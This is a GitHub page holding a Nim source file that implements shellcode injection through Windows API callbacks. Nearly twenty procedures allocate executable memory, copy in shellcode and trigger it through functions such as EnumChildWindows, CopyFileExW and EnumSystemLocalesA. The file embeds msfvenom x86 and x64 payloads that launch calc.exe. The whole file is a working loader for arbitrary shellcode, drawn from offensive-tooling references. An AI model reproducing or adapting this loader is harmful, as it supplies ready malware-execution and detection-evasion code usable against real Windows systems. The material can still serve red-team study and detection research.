-
Notifications
You must be signed in to change notification settings - Fork 9
Expand file tree
/
Copy pathshellcodeCallback.nim
More file actions
440 lines (363 loc) · 15.4 KB
/
shellcodeCallback.nim
File metadata and controls
440 lines (363 loc) · 15.4 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
#[
Author: StudyCat
Blog: https://www.cnblogs.com/studycat
Github: https://github.com/StudyCat404/myNimExamples
References:
- https://github.com/S3cur3Th1sSh1t/Nim_CBT_Shellcode
- https://github.com/ChaitanyaHaritash/Callback_Shellcode_Injection
- https://github.com/treeform/steganography
- https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/encrypt_decrypt_bin.nim
]#
import winim
import winim/lean
proc doEnumSystemGeoID*(shellcode: openarray[byte]) : void =
let tProcess = GetCurrentProcessId()
echo "[*] Target Process: ", tProcess
echo " \\-- bytes written: ", shellcode.len
echo "[+] Injected"
# Allocate memory
let rPtr = VirtualAlloc(
nil,
cast[SIZE_T](shellcode.len),
MEM_COMMIT,
PAGE_EXECUTE_READ_WRITE
)
# Copy Shellcode to the allocated memory section
copyMem(rPtr,unsafeAddr shellcode,cast[SIZE_T](shellcode.len))
# Callback execution
EnumSystemGeoID(
16,
0,
cast[GEO_ENUMPROC](rPtr)
)
proc doCertEnumSystemStore*(shellcode: openarray[byte]) : void =
let tProcess = GetCurrentProcessId()
echo "[*] Target Process: ", tProcess
echo " \\-- bytes written: ", shellcode.len
echo "[+] Injected"
# Allocate memory
let rPtr = VirtualAlloc(
nil,
cast[SIZE_T](shellcode.len),
MEM_COMMIT,
PAGE_EXECUTE_READ_WRITE
)
# Copy Shellcode to the allocated memory section
copyMem(rPtr,unsafeAddr shellcode,cast[SIZE_T](shellcode.len))
# Callback execution
CertEnumSystemStore(
CERT_SYSTEM_STORE_CURRENT_USER,
nil,
nil,
cast[PFN_CERT_ENUM_SYSTEM_STORE](rPtr)
)
proc doCertEnumSystemStoreLocation*(shellcode: openarray[byte]) : void =
let tProcess = GetCurrentProcessId()
echo "[*] Target Process: ", tProcess
echo " \\-- bytes written: ", shellcode.len
echo "[+] Injected"
# Allocate memory
let rPtr = VirtualAlloc(
nil,
cast[SIZE_T](shellcode.len),
MEM_COMMIT,
PAGE_EXECUTE_READ_WRITE
)
# Copy Shellcode to the allocated memory section
copyMem(rPtr,unsafeAddr shellcode,cast[SIZE_T](shellcode.len))
# Callback execution
var dwordvar: DWORD
CertEnumSystemStoreLocation(
dwordvar,
nil,
cast[PFN_CERT_ENUM_SYSTEM_STORE_LOCATION](rPtr)
)
proc doCopy2*(shellcode: openarray[byte]) : void =
let tProcess = GetCurrentProcessId()
echo "[*] Target Process: ", tProcess
echo " \\-- bytes written: ", shellcode.len
echo "[+] Injected"
# Allocate memory
let rPtr = VirtualAlloc(
nil,
cast[SIZE_T](shellcode.len),
MEM_COMMIT,
PAGE_EXECUTE_READ_WRITE
)
# Copy Shellcode to the allocated memory section
copyMem(rPtr,unsafeAddr shellcode,cast[SIZE_T](shellcode.len))
# Callback execution
var param: COPYFILE2_EXTENDED_PARAMETERS
param.dwSize = cast[int32](sizeof(param))
param.dwCopyFlags = COPY_FILE_FAIL_IF_EXISTS
param.pfCancel = cast[ptr WINBOOL](false)
param.pProgressRoutine = cast[PCOPYFILE2_PROGRESS_ROUTINE](rPtr);
param.pvCallbackContext = nil
DeleteFileW("C:\\windows\\temp\\backup.log")
CopyFile2("C:\\Windows\\DirectX.log","C:\\windows\\temp\\backup.log",param)
proc doCopyFileExW*(shellcode: openarray[byte]) : void =
let tProcess = GetCurrentProcessId()
echo "[*] Target Process: ", tProcess
echo " \\-- bytes written: ", shellcode.len
echo "[+] Injected"
# Allocate memory
let rPtr = VirtualAlloc(
nil,
cast[SIZE_T](shellcode.len),
MEM_COMMIT,
PAGE_EXECUTE_READ_WRITE
)
# Copy Shellcode to the allocated memory section
copyMem(rPtr,unsafeAddr shellcode,cast[SIZE_T](shellcode.len))
# Callback execution
DeleteFileW("C:\\windows\\temp\\backup.log")
CopyFileExW("C:\\Windows\\DirectX.log","C:\\windows\\temp\\backup.log",cast[LPPROGRESS_ROUTINE](rPtr), nil, cast[LPBOOL](FALSE), COPY_FILE_FAIL_IF_EXISTS)
proc doEnumChildWindows*(shellcode: openarray[byte]) : void =
let tProcess = GetCurrentProcessId()
echo "[*] Target Process: ", tProcess
echo " \\-- bytes written: ", shellcode.len
echo "[+] Injected"
# Allocate memory
let rPtr = VirtualAlloc(
nil,
cast[SIZE_T](shellcode.len),
MEM_COMMIT,
PAGE_EXECUTE_READ_WRITE
)
# Copy Shellcode to the allocated memory section
copyMem(rPtr,unsafeAddr shellcode,cast[SIZE_T](shellcode.len))
# Callback execution
EnumChildWindows(
cast[HWND](nil),
cast[WNDENUMPROC](rPtr),
0x0
)
proc doEnumDesktopWindows*(shellcode: openarray[byte]) : void =
let tProcess = GetCurrentProcessId()
echo "[*] Target Process: ", tProcess
echo " \\-- bytes written: ", shellcode.len
echo "[+] Injected"
# Allocate memory
let rPtr = VirtualAlloc(
nil,
cast[SIZE_T](shellcode.len),
MEM_COMMIT,
PAGE_EXECUTE_READ_WRITE
)
# Copy Shellcode to the allocated memory section
copyMem(rPtr,unsafeAddr shellcode,cast[SIZE_T](shellcode.len))
# Callback execution
EnumDesktopWindows(GetThreadDesktop(GetCurrentThreadId()),cast[WNDENUMPROC](rPtr), cast[LPARAM](nil))
proc doEnumPageFilesW*(shellcode: openarray[byte]) : void =
let tProcess = GetCurrentProcessId()
echo "[*] Target Process: ", tProcess
echo " \\-- bytes written: ", shellcode.len
echo "[+] Injected"
# Allocate memory
let rPtr = VirtualAlloc(
nil,
cast[SIZE_T](shellcode.len),
MEM_COMMIT,
PAGE_EXECUTE_READ_WRITE
)
# Copy Shellcode to the allocated memory section
copyMem(rPtr,unsafeAddr shellcode,cast[SIZE_T](shellcode.len))
# Callback execution
EnumPageFilesW(cast[PENUM_PAGE_FILE_CALLBACKW](rPtr), nil)
proc doImageGetDigestStream*(shellcode: openarray[byte]) : void =
let tProcess = GetCurrentProcessId()
echo "[*] Target Process: ", tProcess
echo " \\-- bytes written: ", shellcode.len
echo "[+] Injected"
# Allocate memory
let rPtr = VirtualAlloc(
nil,
cast[SIZE_T](shellcode.len),
MEM_COMMIT,
PAGE_EXECUTE_READ_WRITE
)
# Copy Shellcode to the allocated memory section
copyMem(rPtr,unsafeAddr shellcode,cast[SIZE_T](shellcode.len))
# Callback execution
let himg = CreateFileW("C:\\Windows\\System32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, cast[DWORD](nil))
var dummy: DIGEST_HANDLE
ImageGetDigestStream(himg, CERT_PE_IMAGE_DIGEST_ALL_IMPORT_INFO, cast[DIGEST_FUNCTION](rPtr), dummy)
CloseHandle(cast[HANDLE](dummy))
CloseHandle(himg)
proc SymEnumProcesses(x, y: PVOID)
{.cdecl, dynlib: "c:\\windows\\system32\\Dbghelp.dll", importc.}
proc doSymEnumProcesses*(shellcode: openarray[byte]) : void =
let tProcess = GetCurrentProcessId()
echo "[*] Target Process: ", tProcess
echo " \\-- bytes written: ", shellcode.len
echo "[+] Injected"
# Allocate memory
let rPtr = VirtualAlloc(
nil,
cast[SIZE_T](shellcode.len),
MEM_COMMIT,
PAGE_EXECUTE_READ_WRITE
)
# Copy Shellcode to the allocated memory section
copyMem(rPtr,unsafeAddr shellcode,cast[SIZE_T](shellcode.len))
# Callback execution
SymInitialize(GetCurrentProcess(),nil,false)
SymEnumProcesses(rPtr, nil)
proc doEnumDateFormatsA*(shellcode: openarray[byte]) : void =
let tProcess = GetCurrentProcessId()
echo "[*] Target Process: ", tProcess
echo " \\-- bytes written: ", shellcode.len
echo "[+] Injected"
# Allocate memory
let rPtr = VirtualAlloc(
nil,
cast[SIZE_T](shellcode.len),
MEM_COMMIT,
PAGE_EXECUTE_READ_WRITE
)
# Copy Shellcode to the allocated memory section
copyMem(rPtr,unsafeAddr shellcode,cast[SIZE_T](shellcode.len))
# Callback execution
EnumDateFormatsA(cast[DATEFMT_ENUMPROCA](rPtr) , LOCALE_SYSTEM_DEFAULT, cast[DWORD](0))
proc doEnumSystemCodePagesA*(shellcode: openarray[byte]) : void =
let tProcess = GetCurrentProcessId()
echo "[*] Target Process: ", tProcess
echo " \\-- bytes written: ", shellcode.len
echo "[+] Injected"
# Allocate memory
let rPtr = VirtualAlloc(
nil,
cast[SIZE_T](shellcode.len),
MEM_COMMIT,
PAGE_EXECUTE_READ_WRITE
)
# Copy Shellcode to the allocated memory section
copyMem(rPtr,unsafeAddr shellcode,cast[SIZE_T](shellcode.len))
# Callback execution
EnumSystemCodePagesA(cast[CODEPAGE_ENUMPROCA](rPtr) ,0)
proc doEnumSystemLanguageGroupsA*(shellcode: openarray[byte]) : void =
let tProcess = GetCurrentProcessId()
echo "[*] Target Process: ", tProcess
echo " \\-- bytes written: ", shellcode.len
echo "[+] Injected"
# Allocate memory
let rPtr = VirtualAlloc(
nil,
cast[SIZE_T](shellcode.len),
MEM_COMMIT,
PAGE_EXECUTE_READ_WRITE
)
# Copy Shellcode to the allocated memory section
copyMem(rPtr,unsafeAddr shellcode,cast[SIZE_T](shellcode.len))
# Callback execution
EnumSystemLanguageGroupsA(cast[LANGUAGEGROUP_ENUMPROCA](rPtr),LGRPID_SUPPORTED,0)
proc doEnumSystemLocalesA*(shellcode: openarray[byte]) : void =
let tProcess = GetCurrentProcessId()
echo "[*] Target Process: ", tProcess
echo " \\-- bytes written: ", shellcode.len
echo "[+] Injected"
# Allocate memory
let rPtr = VirtualAlloc(
nil,
cast[SIZE_T](shellcode.len),
MEM_COMMIT,
PAGE_EXECUTE_READ_WRITE
)
# Copy Shellcode to the allocated memory section
copyMem(rPtr,unsafeAddr shellcode,cast[SIZE_T](shellcode.len))
# Callback execution
EnumSystemLocalesA(cast[LOCALE_ENUMPROCA](rPtr) ,0)
proc doEnumThreadWindows*(shellcode: openarray[byte]) : void =
let tProcess = GetCurrentProcessId()
echo "[*] Target Process: ", tProcess
echo " \\-- bytes written: ", shellcode.len
echo "[+] Injected"
# Allocate memory
let rPtr = VirtualAlloc(
nil,
cast[SIZE_T](shellcode.len),
MEM_COMMIT,
PAGE_EXECUTE_READ_WRITE
)
# Copy Shellcode to the allocated memory section
copyMem(rPtr,unsafeAddr shellcode,cast[SIZE_T](shellcode.len))
# Callback execution
EnumThreadWindows(0, cast[WNDENUMPROC](rPtr), 0)
proc doEnumUILanguagesA*(shellcode: openarray[byte]) : void =
let tProcess = GetCurrentProcessId()
echo "[*] Target Process: ", tProcess
echo " \\-- bytes written: ", shellcode.len
echo "[+] Injected"
# Allocate memory
let rPtr = VirtualAlloc(
nil,
cast[SIZE_T](shellcode.len),
MEM_COMMIT,
PAGE_EXECUTE_READ_WRITE
)
# Copy Shellcode to the allocated memory section
copyMem(rPtr,unsafeAddr shellcode,cast[SIZE_T](shellcode.len))
# Callback execution
EnumUILanguagesA(cast[UILANGUAGE_ENUMPROCA](rPtr), MUI_LANGUAGE_ID, 0)
proc doEnumWindows*(shellcode: openarray[byte]) : void =
let tProcess = GetCurrentProcessId()
echo "[*] Target Process: ", tProcess
echo " \\-- bytes written: ", shellcode.len
echo "[+] Injected"
# Allocate memory
let rPtr = VirtualAlloc(
nil,
cast[SIZE_T](shellcode.len),
MEM_COMMIT,
PAGE_EXECUTE_READ_WRITE
)
# Copy Shellcode to the allocated memory section
copyMem(rPtr,unsafeAddr shellcode,cast[SIZE_T](shellcode.len))
# Callback execution
EnumWindows(cast[WNDENUMPROC](rPtr), cast[LPARAM](nil))
proc main() =
# https://github.com/nim-lang/Nim/wiki/Consts-defined-by-the-compiler
when defined(i386):
# msfvenom -p windows/exec -f csharp CMD="calc.exe" modified for Nim arrays
echo "[*] Running in x86 process"
var shellcode: array[193, byte] = [
byte 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,
0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,
0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,
0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,
0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,
0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,
0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,
0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,
0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,
0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,
0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00]
elif defined(amd64):
# msfvenom -p windows/x64/exec -f csharp CMD="calc.exe" modified for Nim arrays
echo "[*] Running in x64 process"
var shellcode: array[276, byte] = [
byte 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,
0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,
0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,
0x63,0x2e,0x65,0x78,0x65,0x00]
doEnumChildWindows(shellcode)
when isMainModule:
when defined(windows):
main()